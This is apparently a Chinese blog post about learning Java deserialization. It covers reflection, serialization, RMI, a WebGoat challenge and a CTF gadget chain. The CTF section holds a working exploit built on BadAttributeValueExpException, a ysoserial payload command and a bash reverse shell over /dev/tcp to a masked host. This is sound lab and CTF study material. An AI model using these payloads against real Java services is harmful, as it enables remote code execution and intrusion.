|
原文链接:浅析Java反序列化
0x00 引言打比赛遇到了,之前学习反序列化的内容时就一直计划着将Java反序列化进行学习总结一下,就是在学习过程中遇到的问题以及一些CTF案例进行总结和记录。
0x01 Java反序列化基础由于学了Java的只是了解代码,并不了解基层的代码执行情况,也就是Java代码如何运行,只有一些浅显的理解。在学习反序列化漏洞前也是对这部分基础进行了多一点的了解。
什么是JMX?JMX(Java Management Extensions),就是Java的管理扩展。用来管理和检测Java程序。
JMX简单架构
 
管理系统是通过JMX来管理系统中的各种资源的。
JMX有的应用架构有三层
分布层(Distributed layer)包含使管理系统和JMX代理通信的组件
代理层(Agent layer)包括代理和Mbean服务器
指令层(Instrumentation layer)包括代表可管理资源的MBean
PS:MBean:符合JMX规范的Java类
JMX通知是Java对象,通过它可以从MBean和代理向那些注册了接受通知的对象发送通知。对接受事件感兴趣的对象是通知监听器,是实现了javax.management.NotificationListener接口的类
JMX提供了两种机制来为MBean提供监听器以注册来接受通知:
- 实现javax.management.NotificationBroadcaster接口
- 继承javax.management.NotificationBroadcasterSupport类
本地Java虚拟机如何运行远程的Java虚拟机的代码Java代码运行时需要有jre,C/C++代码运行是编写好代码后在程序内存中运行,而Java是在特定的Java虚拟机中运行,在虚拟机中运行的好处就是可以跨平台。只需要编译一次,即可在任何存在Java环境的系统中运行jar包。这也就是Java十分方便的一点。
在Java虚拟机中,运行过程如下
先将Java代码编译成字节码(class文件),这是虚拟机能够识别的指令,再由虚拟机内部将字节码翻译成机器码,所以我们只需要有Java字节码,就可以在不同平台的虚拟机中运行。
 
class文件被jdk所用的HotSpot虚拟机全部加载,将文件中的Java类放置在方法区,最后编译成机器码执行。
Java反射反射:将类的属性和方法映射成相应的类。
获取class类的三种方法
- 类名.class
- 对象名.getClass()
- Class.forName("需要加载的类名")
使用以上三种方法任意一个来获取特定的类的class类。即这个类对应的字节码
- 调用class对象的getConstructor(Class<?>... parameterTypes)获取构造方法对象
- 调用构造方法类Constructor的newInstance(Object.... initargs)方法新建对象
- 调用Class对象的getMethod(String name, Class<?>... parameterTypes)获取方法对象
利用类对象创建对象
- package com.java.ctf;
- import java.lang.reflect.*;
- public class CreatObject {
- public static void main(String[] args) throws Exception{
- Class UserClass = Class.forName("test.User");
- Constructor constructor = UserClass.getConstructor(String.class);
- User user = (User) constructor.newInstance("m0re");
- System.out.println(user.getName());
- }
- }
复制代码
 
基础反射(数组的反射)
Java反射的主要组成部分有4个,分别是Class, Field, Constructor, Method
 
- <pre style="padding: 16px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 12.75px;line-height: 1.6;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;border-radius: 3px;word-break: normal;overflow-wrap: normal;white-space: pre-wrap;background-color: rgb(247, 247, 247);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.15);box-sizing: border-box;overflow: auto;"><span style="box-sizing: border-box;color: rgb(32, 74, 135);font-weight: bold;">package</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">com.java.ctf</span><span style="box-sizing: border-box;color: rgb(206, 92, 0);font-weight: bold;">;</span></pre>
- public class game {
- public static void main(String[] args){
- int [] a1 = new int[]{1,2,3};
- int [] a2 = new int[5];
- int [][] a3 = new int[2][3];
- System.out.println(a1.getClass() == a2.getClass());//true
- System.out.println(a1.getClass());//class [I
- System.out.println(a3.getClass());//class [[I
- System.out.println(a1.getClass().getSuperclass() == a3.getClass().getSuperclass());//true
- System.out.println(a2.getClass().getSuperclass());//class java.lang.Object
- }
- }
复制代码
可以看出,不同的维,class不同,但是父类都是Object
一维数组不能直接转换成Object[]
一个例子
如果使用Java代码来执行系统命令。
- package com.java.ctf;
- public class game {
- public static void main(String[] args) throws Exception{
- Runtime.getRuntime().exec("notepad.exe");
- }
- }
复制代码
执行的命令是打开记事本。
如果使用的idea进行编写代码的话,会发现这里的提示
 
一般正常的流程应当是,先进行实例化对象,再调用exec()方法。执行系统命令。
Runtime runtime = Runtime.getRuntime();runtime.exec("notepad.exe");这部分的相应的反射代码实际上为
- Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
- Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
复制代码
getMethod("方法名", 方法类型)
invoke(某个对象实例, 传入参数)
第一句获取runtime的实例,方便被invoke调用。
第二句就是调用第一句生成的runtime实例化后的exec()方法
反序列化函数实例分别使用对象输入/输出流来实现序列化和反序列化操作
序列化:ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据。
反序列化:ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化长城对象。
与php序列化等操作的原理类似。序列化的原理都为了实现数据的持久化,通过反序列化可以把数据永久的的保存在硬盘上。
利用序列化实现远程通信,即在网络上传递对象的字节序列。
- // User.java
- package com.java.ctf;
- import java.io.Serializable;
- public class User implements Serializable{
- private String name;
- public void setName(String name) {
- this.name = name;
- }
- public String getName(){
- return name;
- }
- private void readObject(java.io.ObjectInputStream stream) throws Exception{
- stream.defaultReadObject();
- Runtime.getRuntime().exec("calc.exe");
- }
- }
- //game.java
- package com.java.ctf;
- import java.io.*;
- public class game {
- public static void main(String[] args) throws Exception{
- User user = new User();
- user.setName("m0re");
- FileOutputStream fout = new FileOutputStream("user.bin");
- // 打开user.bin作为文件
- ObjectOutputStream out = new ObjectOutputStream(fout);
- //打开一个文件输入流
- out.writeObject(user);
- //文件输入序列化数据
- out.close();
- FileInputStream fin = new FileInputStream("user.bin");
- ObjectInputStream in = new ObjectInputStream(fin);
- in.readObject();
- in.close();
- fin.close();
- }
- }
复制代码
将User类中Runtime.getRuntime().exec()执行的弹出计算器的命令进行序列化,写入文件user.bin,然后在game.java中读取该文件并使用readObject()方法进行反序列化操作,执行了User中的系统命令,最终成功弹出计算器。
 
然后看user.bin文件结构
标志是aced0005,经过base64转换之后是rO0AB,这个在后面应用的时候就可以看出来。
 
序列化版本号和serialVersionUIDJVM通过类名来区分Java类,类名不同的话,就判断不是同一个类,当类名相同时,JVM就会通过序列化版本号来区分Java类,如果序列化版本号相同就是同一个类,不同则为不同的类。
理解:在一个班级中,老师确定一个学生首先是根据学生的姓名来区分,当然无法避免重名的情况,如果重名,则进一步使用学号来区分,学号是唯一的。
在序列化一个对象时,如果没有指定序列化版本号,后期对这个类的源码进行修改并重新编译,会导致修改前后的序列化版本号不一致,因为如果一个类一开始没有指定序列化版本号的话,后面JVM重新指定一版本号给这个类的对象。否则会报错,并抛出异常java.io.InvalidClassException
解决办法:
- 从一开始就指定好一个版本号给即将序列化的类。
- 如果忘了指定版本号,那么就永远不要修改这个类,不要重新编译。
- public class BadAttributeValueExpException extends Exception {
- private static final long serialVersionUID = -3105272988410493376L;
- }
复制代码
RMI相关RMI(Remote Method Invocation)是远程方法调用
JNDI(Java Naming and Directory Interface),Java命名与目录接口
JNDI中包含许多RMI,类似于JNDI是图书馆的书架,书架上有很多分类的书。这些书就相当于RMI记录。
实现一个RMI服务器
定义好接口(interface)之后,继承了远程调式,
- package com.java.ctf;
- import java.rmi.Remote;
- import java.rmi.RemoteException;
- public interface User extends Remote{
- String name(String name) throws RemoteException;
- void sex(String sex) throws RemoteException;
- void nikename(Object secondname) throws RemoteException;
- }
- package com.java.ctf;
- import java.rmi.server.UnicastRemoteObject;
- import java.rmi.RemoteException;
- public class game extends UnicastRemoteObject implements User {
- public game() throws RemoteException{
- super();
- }
- @Override
- public String name(String name) throws RemoteException{
- return name;
- }
- @Override
- public void sex(String sex) throws RemoteException{
- System.out.println("you are a "+ sex);
- }
- @Override
- public void nikename(Object secondname) throws RemoteException{
- System.out.println("your second name is "+ secondname);
- }
- }
- package com.java.ctf;
- import java.rmi.Naming;
- import java.rmi.registry.LocateRegistry;
- public class Server {
- public static void main(String[] args) throws Exception{
- String url = "rmi://192.168.88.1:12581/User";
- User user = new game();
- LocateRegistry.createRegistry(12581);
- Naming.bind(url, user);
- System.out.println("the RMI Server is running.....");
- }
- }
复制代码
启动服务后,LocateRegistry.createRegistry(12581);在JNDI中注册该端口,启动并监听该端口。
 
这样就运行起来一个简单的RMI监听器
0x02 Java反序列化的利用webgoat中的反序列化挑战:以下输入框接收序列化对象(字符串)并对其进行反序列化。
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l尝试更改此序列化对象,以便将页面响应延迟 5 秒。
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
反编译得到源码,查看BOOT-INF/lib/insecure-deserialization-8.2.2.jar,编码是base64
 
找它的切入点,也就是反序列化的位置
然后追踪到VulnerableTaskHolder.java的代码中,但是在jd-gui中无法访问,所以就直接去GitHub中找源码,发现了这里,只允许使用ping和sleep函数来让系统进行延时。

自定义一个恶意类,其中写入反弹shell的命令或者按照靶场的指示进行延时5s。
- //evil.java
- class evil implements Serializable {
- // readObject()
- private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
- in.defaultReadObject();
- try {
- Thread.sleep(5000);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- }
复制代码
小tips:进行payload生成时,需要先反编译源码,把源码找出来,不管是CTF还是此靶场。
然后生成payload的自建恶意类也需要在这里面创建。不然反序列化出的payload不可用。
- package org.dummy.insecure.framework;
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.io.ObjectInputStream;
- import java.io.Serializable;
- import java.time.LocalDateTime;
- public class VulnerableTaskHolder implements Serializable {
- private static final long serialVersionUID = 2;
- private String taskName;
- private String taskAction;
- private LocalDateTime requestedExecutionTime;
- public VulnerableTaskHolder(String taskName, String taskAction) {
- super();
- this.taskName = taskName;
- this.taskAction = taskAction;
- this.requestedExecutionTime = LocalDateTime.now();
- }
- @Override
- public String toString() {
- return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
- + requestedExecutionTime + "]";
- }
- /**
- * Execute a task when de-serializing a saved or received object.
- * @author stupid develop
- */
- private void readObject( ObjectInputStream stream ) throws Exception {
- //unserialize data so taskName and taskAction are available
- stream.defaultReadObject();
- //do something with the data
- System.out.println("restoring task: "+taskName);
- System.out.println("restoring time: "+requestedExecutionTime);
- if (requestedExecutionTime!=null &&
- (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
- || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
- //do nothing is the time is not within 10 minutes after the object has been created
- System.out.println(this.toString());
- throw new IllegalArgumentException("outdated");
- }
- //condition is here to prevent you from destroying the goat altogether
- if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
- && taskAction.length() < 22) {
- System.out.println("about to execute: "+taskAction);
- try {
- Process p = Runtime.getRuntime().exec(taskAction);
- BufferedReader in = new BufferedReader(
- new InputStreamReader(p.getInputStream()));
- String line = null;
- while ((line = in.readLine()) != null) {
- System.out.println(line);
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- }
- //Main.java
- package org.dummy.insecure.framework;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectOutputStream;
- import java.util.Base64;
- // import org.dummy.insecure.framework.VulnerableTaskHolder;
- public class Main {
- static public void main(String[] args) {
- try {
- VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(bos);
- oos.writeObject(go);
- oos.flush();
- byte[] exploit = bos.toByteArray();
- String exp = Base64.getEncoder().encodeToString(exploit);
- System.out.println(exp);
- } catch (Exception e) {
- }
- }
- }
复制代码

注意编译时的Java版本问题,这个目前不是很清楚。
运行得出payload。
还可以直接拿shell,利用bash反弹shell
生成payload使用工具ysoserial.jar,这里使用修改版的。
java -jar ysoserial.jar
利用选1,寻找可用payload选2
java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > m0re.bin 
生成的bin文件,进行base64编码。
- #!/usr/bin/python3
- # -*- coding:utf-8 -*-
- import base64
- file = open("m0re.bin","rb")
- access = file.read()
- payload = base64.b64encode(access)
- print(payload)
- file.close()
复制代码

版本可能不匹配。
也有运行mvn clean package -DskipTests重新编译ysoserial.jar的。可以参考这个地址
还没有了解,先mark了。后续再看。这个关卡就先pass了。还有题目看呢,编译问题就不涉及太多内容了。
EzGadget因为比赛的时候不会写,Java反序列化一脸懵,所以才来钻研了Java反序列化的基础和简单利用。
直接反编译,审计
- public String unser(@RequestParam(name="data", required=true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data);
- InputStream inputStream = new ByteArrayInputStream(b);
- ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
- String name = objectInputStream.readUTF();
- int year = objectInputStream.readInt();
- if ((name.equals("gadgets")) && (year == 2021)) {
- objectInputStream.readObject();
- }
复制代码
这是反序列化的点。
其中反序列化前还需要加个验证。
- oos.writeUTF("gadgets");
- oos.writeInt(2021);
复制代码
toString()函数加载字节码,cc链还没有看,准备下次学习一下java自带的一些类,然后再进行深入了解cc链。
引用大佬的exp
- import com.ezgame.ctf.tools.ToStringBean;
- import ezgame.ctf.bean.User;
- import javax.management.BadAttributeValueExpException;
- import java.io.IOException;
- import java.io.InputStream;
- import java.lang.reflect.Field;
- public class exp {
- public static void main(String[] args) throws Exception {
- InputStream inputStream = evil.class.getResourceAsStream("evil.class");
- byte[] bytes = new byte[inputStream.available()];
- inputStream.read(bytes);
- ToStringBean sie =new ToStringBean();
- Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
- Reflections.setAccessible(bytecodes);
- Reflections.setFieldValue(sie,"ClassByte",bytes);
- BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
- Reflections.setFieldValue(exception,"val",sie);
- String a=Serialize.serialize(exception);
- System.out.print(a);
- }
- }
复制代码
加载的话,可以使用反弹shell的。
- //evil.jaba
- package com.ezgame.ctf.exp;
- import java.io.IOException;
- public class evil {
- static {
- try{
- Runtime r = Runtime.getRuntime();
- String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
- Process p = r.exec(cmd);
- p.waitFor();
- }catch (IOException e){
- }
- }
- }
- }
复制代码
总结感觉Java的知识不是很好掌握,可能是我太菜了,玩不动Java,没有常用Java,所以理解起来有点难,知识点还是一点一点啃吧。
|
|